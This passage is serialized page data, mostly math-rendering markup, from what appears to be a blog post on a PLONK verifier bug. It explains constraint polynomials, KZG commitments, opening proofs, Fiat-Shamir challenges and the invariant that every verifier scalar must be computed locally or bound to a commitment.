className":148163},[9680,9681,9682,9683],[148165],{"type":24,"tag":147,"props":148166,"children":148168},{"className":148167},[9635,27190,9683],[148169],{"type":29,"value":123584},{"type":24,"tag":147,"props":148171,"children":148173},{"className":148172},[27347],[148174],{"type":29,"value":27350},{"type":24,"tag":147,"props":148176,"children":148178},{"className":148177},[9660],[148179],{"type":24,"tag":147,"props":148180,"children":148182},{"className":148181,"style":98713},[9665],[148183],{"type":24,"tag":147,"props":148184,"children":148185},{},[],{"type":24,"tag":147,"props":148187,"children":148189},{"className":148188},[27319],[148190],{"type":29,"value":480},{"type":24,"tag":147,"props":148192,"children":148194},{"className":148193},[9635,27190],[148195],{"type":29,"value":24880},{"type":24,"tag":147,"props":148197,"children":148199},{"className":148198},[27341],[148200],{"type":29,"value":8758},{"type":29,"value":148202}," at the ",{"type":24,"tag":80,"props":148204,"children":148206},{"className":148205},[9607,9608],[148207],{"type":24,"tag":147,"props":148208,"children":148210},{"className":148209},[9613],[148211],{"type":24,"tag":147,"props":148212,"children":148214},{"className":148213,"ariaHidden":9619},[9618],[148215],{"type":24,"tag":147,"props":148216,"children":148218},{"className":148217},[9624],[148219,148223],{"type":24,"tag":147,"props":148220,"children":148222},{"className":148221,"style":147087},[9629],[],{"type":24,"tag":147,"props":148224,"children":148226},{"className":148225},[9635,27190],[148227],{"type":29,"value":9363},{"type":29,"value":148229},"-th root recovers the left wire value at row ",{"type":24,"tag":80,"props":148231,"children":148233},{"className":148232},[9607,9608],[148234],{"type":24,"tag":147,"props":148235,"children":148237},{"className":148236},[9613],[148238],{"type":24,"tag":147,"props":148239,"children":148241},{"className":148240,"ariaHidden":9619},[9618],[148242],{"type":24,"tag":147,"props":148243,"children":148245},{"className":148244},[9624],[148246,148250],{"type":24,"tag":147,"props":148247,"children":148249},{"className":148248,"style":147087},[9629],[],{"type":24,"tag":147,"props":148251,"children":148253},{"className":148252},[9635,27190],[148254],{"type":29,"value":9363},{"type":29,"value":87},{"type":24,"tag":148257,"props":148258,"children":148259},"polynomial-interpolation-panel",{},[],{"type":24,"tag":25,"props":148261,"children":148262},{},[148263,148265,148305,148307,148373,148375,148505,148507,148547,148549,148589,148591,148631,148632,148754],{"type":29,"value":148264},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":24,"tag":80,"props":148266,"children":148268},{"className":148267},[9607,9608],[148269],{"type":24,"tag":147,"props":148270,"children":148272},{"className":148271},[9613],[148273],{"type":24,"tag":147,"props":148274,"children":148276},{"className":148275,"ariaHidden":9619},[9618],[148277],{"type":24,"tag":147,"props":148278,"children":148280},{"className":148279},[9624],[148281,148285,148290,148295,148300],{"type":24,"tag":147,"props":148282,"children":148284},{"className":148283,"style":9735},[9629],[],{"type":24,"tag":147,"props":148286,"children":148288},{"className":148287,"style":27191},[9635,27190],[148289],{"type":29,"value":127398},{"type":24,"tag":147,"props":148291,"children":148293},{"className":148292},[27319],[148294],{"type":29,"value":480},{"type":24,"tag":147,"props":148296,"children":148298},{"className":148297},[9635,27190],[148299],{"type":29,"value":24880},{"type":24,"tag":147,"props":148301,"children":148303},{"className":148302},[27341],[148304],{"type":29,"value":8758},{"type":29,"value":148306}," that combines selectors and witnesses. If the prover was honest, ",{"type":24,"tag":80,"props":148308,"children":148310},{"className":148309},[9607,9608],[148311],{"type":24,"tag":147,"props":148312,"children":148314},{"className":148313},[9613],[148315],{"type":24,"tag":147,"props":148316,"children":148318},{"className":148317,"ariaHidden":9619},[9618],[148319,148360],{"type":24,"tag":147,"props":148320,"children":148322},{"className":148321},[9624],[148323,148327,148332,148337,148342,148347,148351,148356],{"type":24,"tag":147,"props":148324,"children":148326},{"className":148325,"style":9735},[9629],[],{"type":24,"tag":147,"props":148328,"children":148330},{"className":148329,"style":27191},[9635,27190],[148331],{"type":29,"value":127398},{"type":24,"tag":147,"props":148333,"children":148335},{"className":148334},[27319],[148336],{"type":29,"value":480},{"type":24,"tag":147,"props":148338,"children":148340},{"className":148339},[9635,27190],[148341],{"type":29,"value":24880},{"type":24,"tag":147,"props":148343,"children":148345},{"className":148344},[27341],[148346],{"type":29,"value":8758},{"type":24,"tag":147,"props":148348,"children":148350},{"className":148349,"style":9812},[9714],[],{"type":24,"tag":147,"props":148352,"children":148354},{"className":148353},[9817],[148355],{"type":29,"value":369},{"type":24,"tag":147,"props":148357,"children":148359},{"className":148358,"style":9812},[9714],[],{"type":24,"tag":147,"props":148361,"children":148363},{"className":148362},[9624],[148364,148368],{"type":24,"tag":147,"props":148365,"children":148367},{"className":148366,"style":99661},[9629],[],{"type":24,"tag":147,"props":148369,"children":148371},{"className":148370},[9635],[148372],{"type":29,"value":3173},{"type":29,"value":148374}," at every row index in the domain. The vanishing polynomial ",{"type":24,"tag":80,"props":148376,"children":148378},{"className":148377},[9607,9608],[148379],{"type":24,"tag":147,"props":148380,"children":148382},{"className":148381},[9613],[148383],{"type":24,"tag":147,"props":148384,"children":148386},{"className":148385,"ariaHidden":9619},[9618],[148387,148429,148492],{"type":24,"tag":147,"props":148388,"children":148390},{"className":148389},[9624],[148391,148395,148401,148406,148411,148416,148420,148425],{"type":24,"tag":147,"props":148392,"children":148394},{"className":148393,"style":9735},[9629],[],{"type":24,"tag":147,"props":148396,"children":148398},{"className":148397,"style":27722},[9635,27190],[148399],{"type":29,"value":148400},"Z",{"type":24,"tag":147,"props":148402,"children":148404},{"className":148403},[27319],[148405],{"type":29,"value":480},{"type":24,"tag":147,"props":148407,"children":148409},{"className":148408},[9635,27190],[148410],{"type":29,"value":24880},{"type":24,"tag":147,"props":148412,"children":148414},{"className":148413},[27341],[148415],{"type":29,"value":8758},{"type":24,"tag":147,"props":148417,"children":148419},{"className":148418,"style":9812},[9714],[],{"type":24,"tag":147,"props":148421,"children":148423},{"className":148422},[9817],[148424],{"type":29,"value":369},{"type":24,"tag":147,"props":148426,"children":148428},{"className":148427,"style":9812},[9714],[],{"type":24,"tag":147,"props":148430,"children":148432},{"className":148431},[9624],[148433,148438,148479,148483,148488],{"type":24,"tag":147,"props":148434,"children":148437},{"className":148435,"style":148436},[9629],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":24,"tag":147,"props":148439,"children":148441},{"className":148440},[9635],[148442,148447],{"type":24,"tag":147,"props":148443,"children":148445},{"className":148444},[9635,27190],[148446],{"type":29,"value":24880},{"type":24,"tag":147,"props":148448,"children":148450},{"className":148449},[9650],[148451],{"type":24,"tag":147,"props":148452,"children":148454},{"className":148453},[9655],[148455],{"type":24,"tag":147,"props":148456,"children":148458},{"className":148457},[9660],[148459],{"type":24,"tag":147,"props":148460,"children":148462},{"className":148461,"style":114338},[9665],[148463],{"type":24,"tag":147,"props":148464,"children":148465},{"style":9669},[148466,148470],{"type":24,"tag":147,"props":148467,"children":148469},{"className":148468,"style":9675},[9674],[],{"type":24,"tag":147,"props":148471,"children":148473},{"className":148472},[9680,9681,9682,9683],[148474],{"type":24,"tag":147,"props":148475,"children":148477},{"className":148476},[9635,27190,9683],[148478],{"type":29,"value":61991},{"type":24,"tag":147,"props":148480,"children":148482},{"className":148481,"style":9715},[9714],[],{"type":24,"tag":147,"props":148484,"children":148486},{"className":148485},[9720],[148487],{"type":29,"value":9694},{"type":24,"tag":147,"props":148489,"children":148491},{"className":148490,"style":9715},[9714],[],{"type":24,"tag":147,"props":148493,"children":148495},{"className":148494},[9624],[148496,148500],{"type":24,"tag":147,"props":148497,"children":148499},{"className":148498,"style":99661},[9629],[],{"type":24,"tag":147,"props":148501,"children":148503},{"className":148502},[9635],[148504],{"type":29,"value":1154},{"type":29,"value":148506}," is zero on exactly those points, so if all constraints hold then ",{"type":24,"tag":80,"props":148508,"children":148510},{"className":148509},[9607,9608],[148511],{"type":24,"tag":147,"props":148512,"children":148514},{"className":148513},[9613],[148515],{"type":24,"tag":147,"props":148516,"children":148518},{"className":148517,"ariaHidden":9619},[9618],[148519],{"type":24,"tag":147,"props":148520,"children":148522},{"className":148521},[9624],[148523,148527,148532,148537,148542],{"type":24,"tag":147,"props":148524,"children":148526},{"className":148525,"style":9735},[9629],[],{"type":24,"tag":147,"props":148528,"children":148530},{"className":148529,"style":27722},[9635,27190],[148531],{"type":29,"value":148400},{"type":24,"tag":147,"props":148533,"children":148535},{"className":148534},[27319],[148536],{"type":29,"value":480},{"type":24,"tag":147,"props":148538,"children":148540},{"className":148539},[9635,27190],[148541],{"type":29,"value":24880},{"type":24,"tag":147,"props":148543,"children":148545},{"className":148544},[27341],[148546],{"type":29,"value":8758},{"type":29,"value":148548}," divides ",{"type":24,"tag":80,"props":148550,"children":148552},{"className":148551},[9607,9608],[148553],{"type":24,"tag":147,"props":148554,"children":148556},{"className":148555},[9613],[148557],{"type":24,"tag":147,"props":148558,"children":148560},{"className":148559,"ariaHidden":9619},[9618],[148561],{"type":24,"tag":147,"props":148562,"children":148564},{"className":148563},[9624],[148565,148569,148574,148579,148584],{"type":24,"tag":147,"props":148566,"children":148568},{"className":148567,"style":9735},[9629],[],{"type":24,"tag":147,"props":148570,"children":148572},{"className":148571,"style":27191},[9635,27190],[148573],{"type":29,"value":127398},{"type":24,"tag":147,"props":148575,"children":148577},{"className":148576},[27319],[148578],{"type":29,"value":480},{"type":24,"tag":147,"props":148580,"children":148582},{"className":148581},[9635,27190],[148583],{"type":29,"value":24880},{"type":24,"tag":147,"props":148585,"children":148587},{"className":148586},[27341],[148588],{"type":29,"value":8758},{"type":29,"value":148590},", yielding a quotient polynomial ",{"type":24,"tag":80,"props":148592,"children":148594},{"className":148593},[9607,9608],[148595],{"type":24,"tag":147,"props":148596,"children":148598},{"className":148597},[9613],[148599],{"type":24,"tag":147,"props":148600,"children":148602},{"className":148601,"ariaHidden":9619},[9618],[148603],{"type":24,"tag":147,"props":148604,"children":148606},{"className":148605},[9624],[148607,148611,148616,148621,148626],{"type":24,"tag":147,"props":148608,"children":148610},{"className":148609,"style":9735},[9629],[],{"type":24,"tag":147,"props":148612,"children":148614},{"className":148613,"style":27191},[9635,27190],[148615],{"type":29,"value":11612},{"type":24,"tag":147,"props":148617,"children":148619},{"className":148618},[27319],[148620],{"type":29,"value":480},{"type":24,"tag":147,"props":148622,"children":148624},{"className":148623},[9635,27190],[148625],{"type":29,"value":24880},{"type":24,"tag":147,"props":148627,"children":148629},{"className":148628},[27341],[148630],{"type":29,"value":8758},{"type":29,"value":27106},{"type":24,"tag":80,"props":148633,"children":148635},{"className":148634},[9607,9608],[148636],{"type":24,"tag":147,"props":148637,"children":148639},{"className":148638},[9613],[148640],{"type":24,"tag":147,"props":148641,"children":148643},{"className":148642,"ariaHidden":9619},[9618],[148644,148685,148726],{"type":24,"tag":147,"props":148645,"children":148647},{"className":148646},[9624],[148648,148652,148657,148662,148667,148672,148676,148681],{"type":24,"tag":147,"props":148649,"children":148651},{"className":148650,"style":9735},[9629],[],{"type":24,"tag":147,"props":148653,"children":148655},{"className":148654,"style":27191},[9635,27190],[148656],{"type":29,"value":127398},{"type":24,"tag":147,"props":148658,"children":148660},{"className":148659},[27319],[148661],{"type":29,"value":480},{"type":24,"tag":147,"props":148663,"children":148665},{"className":148664},[9635,27190],[148666],{"type":29,"value":24880},{"type":24,"tag":147,"props":148668,"children":148670},{"className":148669},[27341],[148671],{"type":29,"value":8758},{"type":24,"tag":147,"props":148673,"children":148675},{"className":148674,"style":9812},[9714],[],{"type":24,"tag":147,"props":148677,"children":148679},{"className":148678},[9817],[148680],{"type":29,"value":369},{"type":24,"tag":147,"props":148682,"children":148684},{"className":148683,"style":9812},[9714],[],{"type":24,"tag":147,"props":148686,"children":148688},{"className":148687},[9624],[148689,148693,148698,148703,148708,148713,148717,148722],{"type":24,"tag":147,"props":148690,"children":148692},{"className":148691,"style":9735},[9629],[],{"type":24,"tag":147,"props":148694,"children":148696},{"className":148695,"style":27191},[9635,27190],[148697],{"type":29,"value":11612},{"type":24,"tag":147,"props":148699,"children":148701},{"className":148700},[27319],[148702],{"type":29,"value":480},{"type":24,"tag":147,"props":148704,"children":148706},{"className":148705},[9635,27190],[148707],{"type":29,"value":24880},{"type":24,"tag":147,"props":148709,"children":148711},{"className":148710},[27341],[148712],{"type":29,"value":8758},{"type":24,"tag":147,"props":148714,"children":148716},{"className":148715,"style":9715},[9714],[],{"type":24,"tag":147,"props":148718,"children":148720},{"className":148719},[9720],[148721],{"type":29,"value":116883},{"type":24,"tag":147,"props":148723,"children":148725},{"className":148724,"style":9715},[9714],[],{"type":24,"tag":147,"props":148727,"children":148729},{"className":148728},[9624],[148730,148734,148739,148744,148749],{"type":24,"tag":147,"props":148731,"children":148733},{"className":148732,"style":9735},[9629],[],{"type":24,"tag":147,"props":148735,"children":148737},{"className":148736,"style":27722},[9635,27190],[148738],{"type":29,"value":148400},{"type":24,"tag":147,"props":148740,"children":148742},{"className":148741},[27319],[148743],{"type":29,"value":480},{"type":24,"tag":147,"props":148745,"children":148747},{"className":148746},[9635,27190],[148748],{"type":29,"value":24880},{"type":24,"tag":147,"props":148750,"children":148752},{"className":148751},[27341],[148753],{"type":29,"value":8758},{"type":29,"value":87},{"type":24,"tag":25,"props":148756,"children":148757},{},[148758],{"type":24,"tag":63,"props":148759,"children":148762},{"alt":148760,"src":148761},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":24,"tag":43,"props":148764,"children":148766},{"id":148765},"polynomial-commitments-and-opening-proofs",[148767],{"type":29,"value":148768},"Polynomial commitments and opening proofs",{"type":24,"tag":25,"props":148770,"children":148771},{},[148772,148774,148779,148781,148786],{"type":29,"value":148773},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":24,"tag":8545,"props":148775,"children":148776},{},[148777],{"type":29,"value":148778},"commitments",{"type":29,"value":148780},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":24,"tag":8545,"props":148782,"children":148783},{},[148784],{"type":29,"value":148785},"opening proof",{"type":29,"value":148787}," that the claimed value is consistent with the earlier commitment.",{"type":24,"tag":25,"props":148789,"children":148790},{},[148791],{"type":29,"value":148792},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":24,"tag":43,"props":148794,"children":148796},{"id":148795},"reducing-to-a-single-random-point",[148797],{"type":29,"value":148798},"Reducing to a single random point",{"type":24,"tag":25,"props":148800,"children":148801},{},[148802,148804,148844,148846,148871,148873,148995,148997,149022],{"type":29,"value":148803},"After the prover commits to all polynomials, including ",{"type":24,"tag":80,"props":148805,"children":148807},{"className":148806},[9607,9608],[148808],{"type":24,"tag":147,"props":148809,"children":148811},{"className":148810},[9613],[148812],{"type":24,"tag":147,"props":148813,"children":148815},{"className":148814,"ariaHidden":9619},[9618],[148816],{"type":24,"tag":147,"props":148817,"children":148819},{"className":148818},[9624],[148820,148824,148829,148834,148839],{"type":24,"tag":147,"props":148821,"children":148823},{"className":148822,"style":9735},[9629],[],{"type":24,"tag":147,"props":148825,"children":148827},{"className":148826,"style":27191},[9635,27190],[148828],{"type":29,"value":11612},{"type":24,"tag":147,"props":148830,"children":148832},{"className":148831},[27319],[148833],{"type":29,"value":480},{"type":24,"tag":147,"props":148835,"children":148837},{"className":148836},[9635,27190],[148838],{"type":29,"value":24880},{"type":24,"tag":147,"props":148840,"children":148842},{"className":148841},[27341],[148843],{"type":29,"value":8758},{"type":29,"value":148845},", the verifier picks a random challenge point ",{"type":24,"tag":80,"props":148847,"children":148849},{"className":148848},[9607,9608],[148850],{"type":24,"tag":147,"props":148851,"children":148853},{"className":148852},[9613],[148854],{"type":24,"tag":147,"props":148855,"children":148857},{"className":148856,"ariaHidden":9619},[9618],[148858],{"type":24,"tag":147,"props":148859,"children":148861},{"className":148860},[9624],[148862,148866],{"type":24,"tag":147,"props":148863,"children":148865},{"className":148864,"style":116462},[9629],[],{"type":24,"tag":147,"props":148867,"children":148869},{"className":148868,"style":119177},[9635,27190],[148870],{"type":29,"value":119180},{"type":29,"value":148872}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":24,"tag":80,"props":148874,"children":148876},{"className":148875},[9607,9608],[148877],{"type":24,"tag":147,"props":148878,"children":148880},{"className":148879},[9613],[148881],{"type":24,"tag":147,"props":148882,"children":148884},{"className":148883,"ariaHidden":9619},[9618],[148885,148926,148967],{"type":24,"tag":147,"props":148886,"children":148888},{"className":148887},[9624],[148889,148893,148898,148903,148908,148913,148917,148922],{"type":24,"tag":147,"props":148890,"children":148892},{"className":148891,"style":9735},[9629],[],{"type":24,"tag":147,"props":148894,"children":148896},{"className":148895,"style":27191},[9635,27190],[148897],{"type":29,"value":127398},{"type":24,"tag":147,"props":148899,"children":148901},{"className":148900},[27319],[148902],{"type":29,"value":480},{"type":24,"tag":147,"props":148904,"children":148906},{"className":148905,"style":119177},[9635,27190],[148907],{"type":29,"value":119180},{"type":24,"tag":147,"props":148909,"children":148911},{"className":148910},[27341],[148912],{"type":29,"value":8758},{"type":24,"tag":147,"props":148914,"children":148916},{"className":148915,"style":9812},[9714],[],{"type":24,"tag":147,"props":148918,"children":148920},{"className":148919},[9817],[148921],{"type":29,"value":369},{"type":24,"tag":147,"props":148923,"children":148925},{"className":148924,"style":9812},[9714],[],{"type":24,"tag":147,"props":148927,"children":148929},{"className":148928},[9624],[148930,148934,148939,148944,148949,148954,148958,148963],{"type":24,"tag":147,"props":148931,"children":148933},{"className":148932,"style":9735},[9629],[],{"type":24,"tag":147,"props":148935,"children":148937},{"className":148936,"style":27191},[9635,27190],[148938],{"type":29,"value":11612},{"type":24,"tag":147,"props":148940,"children":148942},{"className":148941},[27319],[148943],{"type":29,"value":480},{"type":24,"tag":147,"props":148945,"children":148947},{"className":148946,"style":119177},[9635,27190],[148948],{"type":29,"value":119180},{"type":24,"tag":147,"props":148950,"children":148952},{"className":148951},[27341],[148953],{"type":29,"value":8758},{"type":24,"tag":147,"props":148955,"children":148957},{"className":148956,"style":9715},[9714],[],{"type":24,"tag":147,"props":148959,"children":148961},{"className":148960},[9720],[148962],{"type":29,"value":116883},{"type":24,"tag":147,"props":148964,"children":148966},{"className":148965,"style":9715},[9714],[],{"type":24,"tag":147,"props":148968,"children":148970},{"className":148969},[9624],[148971,148975,148980,148985,148990],{"type":24,"tag":147,"props":148972,"children":148974},{"className":148973,"style":9735},[9629],[],{"type":24,"tag":147,"props":148976,"children":148978},{"className":148977,"style":27722},[9635,27190],[148979],{"type":29,"value":148400},{"type":24,"tag":147,"props":148981,"children":148983},{"className":148982},[27319],[148984],{"type":29,"value":480},{"type":24,"tag":147,"props":148986,"children":148988},{"className":148987,"style":119177},[9635,27190],[148989],{"type":29,"value":119180},{"type":24,"tag":147,"props":148991,"children":148993},{"className":148992},[27341],[148994],{"type":29,"value":8758},{"type":29,"value":148996}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":24,"tag":80,"props":148998,"children":149000},{"className":148999},[9607,9608],[149001],{"type":24,"tag":147,"props":149002,"children":149004},{"className":149003},[9613],[149005],{"type":24,"tag":147,"props":149006,"children":149008},{"className":149007,"ariaHidden":9619},[9618],[149009],{"type":24,"tag":147,"props":149010,"children":149012},{"className":149011},[9624],[149013,149017],{"type":24,"tag":147,"props":149014,"children":149016},{"className":149015,"style":116462},[9629],[],{"type":24,"tag":147,"props":149018,"children":149020},{"className":149019,"style":119177},[9635,27190],[149021],{"type":29,"value":119180},{"type":29,"value":149023}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":24,"tag":25,"props":149025,"children":149026},{},[149027,149029,149054,149056,149061],{"type":29,"value":149028},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":24,"tag":80,"props":149030,"children":149032},{"className":149031},[9607,9608],[149033],{"type":24,"tag":147,"props":149034,"children":149036},{"className":149035},[9613],[149037],{"type":24,"tag":147,"props":149038,"children":149040},{"className":149039,"ariaHidden":9619},[9618],[149041],{"type":24,"tag":147,"props":149042,"children":149044},{"className":149043},[9624],[149045,149049],{"type":24,"tag":147,"props":149046,"children":149048},{"className":149047,"style":116462},[9629],[],{"type":24,"tag":147,"props":149050,"children":149052},{"className":149051,"style":119177},[9635,27190],[149053],{"type":29,"value":119180},{"type":29,"value":149055},", the prover supplies ",{"type":24,"tag":8545,"props":149057,"children":149058},{},[149059],{"type":29,"value":149060},"evaluation claims",{"type":29,"value":149062}," that must be checked against those commitments with opening proofs.",{"type":24,"tag":25,"props":149064,"children":149065},{},[149066,149068,149072],{"type":29,"value":149067},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":24,"tag":8545,"props":149069,"children":149070},{},[149071],{"type":29,"value":110167},{"type":29,"value":149073}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":24,"tag":43,"props":149075,"children":149077},{"id":149076},"what-the-verifier-is-actually-allowed-to-trust",[149078],{"type":29,"value":149079},"What the verifier is actually allowed to trust",{"type":24,"tag":25,"props":149081,"children":149082},{},[149083,149085,149090],{"type":29,"value":149084},"For this bug, one invariant matters more than the rest: ",{"type":24,"tag":10949,"props":149086,"children":149087},{},[149088],{"type":29,"value":149089},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":29,"value":87},{"type":24,"tag":25,"props":149092,"children":149093},{},[149094,149096,149188,149189,149281,149283,149308,149310,149350,149351,149391,149392,149485,149486,149532,149534,149621,149622,149709,149710,149797],{"type":29,"value":149095},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":24,"tag":80,"props":149097,"children":149099},{"className":149098},[9607,9608],[149100],{"type":24,"tag":147,"props":149101,"children":149103},{"className":149102},[9613],[149104],{"type":24,"tag":147,"props":149105,"children":149107},{"className":149106,"ariaHidden":9619},[9618],[149108],{"type":24,"tag":147,"props":149109,"children":149111},{"className":149110},[9624],[149112,149116,149173,149178,149183],{"type":24,"tag":147,"props":149113,"children":149115},{"className":149114,"style":9735},[9629],[],{"type":24,"tag":147,"props":149117,"children":149119},{"className":149118},[9635],[149120,149125],{"type":24,"tag":147,"props":149121,"children":149123},{"className":149122,"style":27722},[9635,27190],[149124],{"type":29,"value":148400},{"type":24,"tag":147,"props":149126,"children":149128},{"className":149127},[9650],[149129],{"type":24,"tag":147,"props":149130,"children":149132},{"className":149131},[9655,27244],[149133,149162],{"type":24,"tag":147,"props":149134,"children":149136},{"className":149135},[9660],[149137,149157],{"type":24,"tag":147,"props":149138,"children":149140},{"className":149139,"style":147391},[9665],[149141],{"type":24,"tag":147,"props":149142,"children":149143},{"style":121869},[149144,149148],{"type":24,"tag":147,"props":149145,"children":149147},{"className":149146,"style":9675},[9674],[],{"type":24,"tag":147,"props":149149,"children":149151},{"className":149150},[9680,9681,9682,9683],[149152],{"type":24,"tag":147,"props":149153,"children":149155},{"className":149154,"style":98864},[9635,27190,9683],[149156],{"type":29,"value":98867},{"type":24,"tag":147,"props":149158,"children":149160},{"className":149159},[27347],[149161],{"type":29,"value":27350},{"type":24,"tag":147,"props":149163,"children":149165},{"className":149164},[9660],[149166],{"type":24,"tag":147,"props":149167,"children":149169},{"className":149168,"style":98713},[9665],[149170],{"type":24,"tag":147,"props":149171,"children":149172},{},[],{"type":24,"tag":147,"props":149174,"children":149176},{"className":149175},[27319],[149177],{"type":29,"value":480},{"type":24,"tag":147,"props":149179,"children":149181},{"className":149180,"style":119177},[9635,27190],[149182],{"type":29,"value":119180},{"type":24,"tag":147,"props":149184,"children":149186},{"className":149185},[27341],[149187],{"type":29,"value":8758},{"type":29,"value":546},{"type":24,"tag":80,"props":149190,"children":149192},{"className":149191},[9607,9608],[149193],{"type":24,"tag":147,"props":149194,"children":149196},{"className":149195},[9613],[149197],{"type":24,"tag":147,"props":149198,"children":149200},{"className":149199,"ariaHidden":9619},[9618],[149201],{"type":24,"tag":147,"props":149202,"children":149204},{"className":149203},[9624],[149205,149209,149266,149271,149276],{"type":24,"tag":147,"props":149206,"children":149208},{"className":149207,"style":9735},[9629],[],{"type":24,"tag":147,"props":149210,"children":149212},{"className":149211},[9635],[149213,149218],{"type":24,"tag":147,"props":149214,"children":149216},{"className":149215},[9635,27190],[149217],{"type":29,"value":123584},{"type":24,"tag":147,"props":149219,"children":149221},{"className":149220},[9650],[149222],{"type":24,"tag":147,"props":149223,"children":149225},{"className":149224},[9655,27244],[149226,149255],{"type":24,"tag":147,"props":149227,"children":149229},{"className":149228},[9660],[149230,149250],{"type":24,"tag":147,"props":149231,"children":149233},{"className":149232,"style":98682},[9665],[149234],{"type":24,"tag":147,"props":149235,"children":149236},{"style":98686},[149237,149241],{"type":24,"tag":147,"props":149238,"children":149240},{"className":149239,"style":9675},[9674],[],{"type":24,"tag":147,"props":149242,"children":149244},{"className":149243},[9680,9681,9682,9683],[149245],{"type":24,"tag":147,"props":149246,"children":149248},{"className":149247},[9635,9683],[149249],{"type":29,"value":1154},{"type":24,"tag":147,"props":149251,"children":149253},{"className":149252},[27347],[149254],{"type":29,"value":27350},{"type":24,"tag":147,"props":149256,"children":149258},{"className":149257},[9660],[149259],{"type":24,"tag":147,"props":149260,"children":149262},{"className":149261,"style":98713},[9665],[149263],{"type":24,"tag":147,"props":149264,"children":149265},{},[],{"type":24,"tag":147,"props":149267,"children":149269},{"className":149268},[27319],[149270],{"type":29,"value":480},{"type":24,"tag":147,"props":149272,"children":149274},{"className":149273,"style":119177},[9635,27190],[149275],{"type":29,"value":119180},{"type":24,"tag":147,"props":149277,"children":149279},{"className":149278},[27341],[149280],{"type":29,"value":8758},{"type":29,"value":149282},", the public-input polynomial at ",{"type":24,"tag":80,"props":149284,"children":149286},{"className":149285},[9607,9608],[149287],{"type":24,"tag":147,"props":149288,"children":149290},{"className":149289},[9613],[149291],{"type":24,"tag":147,"props":149292,"children":149294},{"className":149293,"ariaHidden":9619},[9618],[149295],{"type":24,"tag":147,"props":149296,"children":149298},{"className":149297},[9624],[149299,149303],{"type":24,"tag":147,"props":149300,"children":149302},{"className":149301,"style":116462},[9629],[],{"type":24,"tag":147,"props":149304,"children":149306},{"className":149305,"style":119177},[9635,27190],[149307],{"type":29,"value":119180},{"type":29,"value":149309},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":24,"tag":80,"props":149311,"children":149313},{"className":149312},[9607,9608],[149314],{"type":24,"tag":147,"props":149315,"children":149317},{"className":149316},[9613],[149318],{"type":24,"tag":147,"props":149319,"children":149321},{"className":149320,"ariaHidden":9619},[9618],[149322],{"type":24,"tag":147,"props":149323,"children":149325},{"className":149324},[9624],[149326,149330,149335,149340,149345],{"type":24,"tag":147,"props":149327,"children":149329},{"className":149328,"style":9735},[9629],[],{"type":24,"tag":147,"props":149331,"children":149333},{"className":149332},[9635,27190],[149334],{"type":29,"value":2773},{"type":24,"tag":147,"props":149336,"children":149338},{"className":149337},[27319],[149339],{"type":29,"value":480},{"type":24,"tag":147,"props":149341,"children":149343},{"className":149342,"style":119177},[9635,27190],[149344],{"type":29,"value":119180},{"type":24,"tag":147,"props":149346,"children":149348},{"className":149347},[27341],[149349],{"type":29,"value":8758},{"type":29,"value":546},{"type":24,"tag":80,"props":149352,"children":149354},{"className":149353},[9607,9608],[149355],{"type":24,"tag":147,"props":149356,"children":149358},{"className":149357},[9613],[149359],{"type":24,"tag":147,"props":149360,"children":149362},{"className":149361,"ariaHidden":9619},[9618],[149363],{"type":24,"tag":147,"props":149364,"children":149366},{"className":149365},[9624],[149367,149371,149376,149381,149386],{"type":24,"tag":147,"props":149368,"children":149370},{"className":149369,"style":9735},[9629],[],{"type":24,"tag":147,"props":149372,"children":149374},{"className":149373},[9635,27190],[149375],{"type":29,"value":8852},{"type":24,"tag":147,"props":149377,"children":149379},{"className":149378},[27319],[149380],{"type":29,"value":480},{"type":24,"tag":147,"props":149382,"children":149384},{"className":149383,"style":119177},[9635,27190],[149385],{"type":29,"value":119180},{"type":24,"tag":147,"props":149387,"children":149389},{"className":149388},[27341],[149390],{"type":29,"value":8758},{"type":29,"value":546},{"type":24,"tag":80,"props":149393,"children":149395},{"className":149394},[9607,9608],[149396],{"type":24,"tag":147,"props":149397,"children":149399},{"className":149398},[9613],[149400],{"type":24,"tag":147,"props":149401,"children":149403},{"className":149402,"ariaHidden":9619},[9618],[149404],{"type":24,"tag":147,"props":149405,"children":149407},{"className":149406},[9624],[149408,149412,149470,149475,149480],{"type":24,"tag":147,"props":149409,"children":149411},{"className":149410,"style":9735},[9629],[],{"type":24,"tag":147,"props":149413,"children":149415},{"className":149414},[9635],[149416,149422],{"type":24,"tag":147,"props":149417,"children":149419},{"className":149418,"style":99116},[9635,27190],[149420],{"type":29,"value":149421},"σ",{"type":24,"tag":147,"props":149423,"children":149425},{"className":149424},[9650],[149426],{"type":24,"tag":147,"props":149427,"children":149429},{"className":149428},[9655,27244],[149430,149459],{"type":24,"tag":147,"props":149431,"children":149433},{"className":149432},[9660],[149434,149454],{"type":24,"tag":147,"props":149435,"children":149437},{"className":149436,"style":98682},[9665],[149438],{"type":24,"tag":147,"props":149439,"children":149440},{"style":99163},[149441,149445],{"type":24,"tag":147,"props":149442,"children":149444},{"className":149443,"style":9675},[9674],[],{"type":24,"tag":147,"props":149446,"children":149448},{"className":149447},[9680,9681,9682,9683],[149449],{"type":24,"tag":147,"props":149450,"children":149452},{"className":149451},[9635,9683],[149453],{"type":29,"value":1154},{"type":24,"tag":147,"props":149455,"children":149457},{"className":149456},[27347],[149458],{"type":29,"value":27350},{"type":24,"tag":147,"props":149460,"children":149462},{"className":149461},[9660],[149463],{"type":24,"tag":147,"props":149464,"c